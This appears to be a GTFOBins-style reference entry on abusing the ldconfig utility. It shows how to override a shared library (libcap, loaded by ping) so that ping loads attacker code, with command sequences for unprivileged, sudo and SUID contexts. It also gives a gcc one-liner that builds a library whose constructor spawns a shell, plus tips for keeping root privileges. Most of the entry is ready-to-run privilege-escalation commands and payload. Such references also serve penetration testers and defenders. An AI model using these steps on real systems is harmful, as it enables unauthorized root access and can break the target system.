ldconfig

Library load

1. Comment

   This allows to override one or more shared libraries (e.g., libpcap) globally, then triggers the execution by running a program that uses it, e.g., ping. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system.

   First identify the shared libraries used by the target program, for example:

   $ ldd /bin/ping | grep libcap
           libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000)
   

   Then create the shared library override, named libcap.so.2, and put in in /path/to/temp-dir/. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., void cap_get_flag() {}).

   Unprivileged

   This function can be performed by any unprivileged user.

   echo /path/to/temp-dir/ >/path/to/temp-file
   ldconfig -f /path/to/temp-file
   ping

   Sudo

   This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

   Remarks

   If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

   echo /path/to/temp-dir/ >/path/to/temp-file
   ldconfig -f /path/to/temp-file
   ping

   SUID

   This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

   echo /path/to/temp-dir/ >/path/to/temp-file
   ldconfig -f /path/to/temp-file
   ping

   Payload

   As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

   echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
       | gcc -w -fPIC -shared -o lib.so -x c -
   

   Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.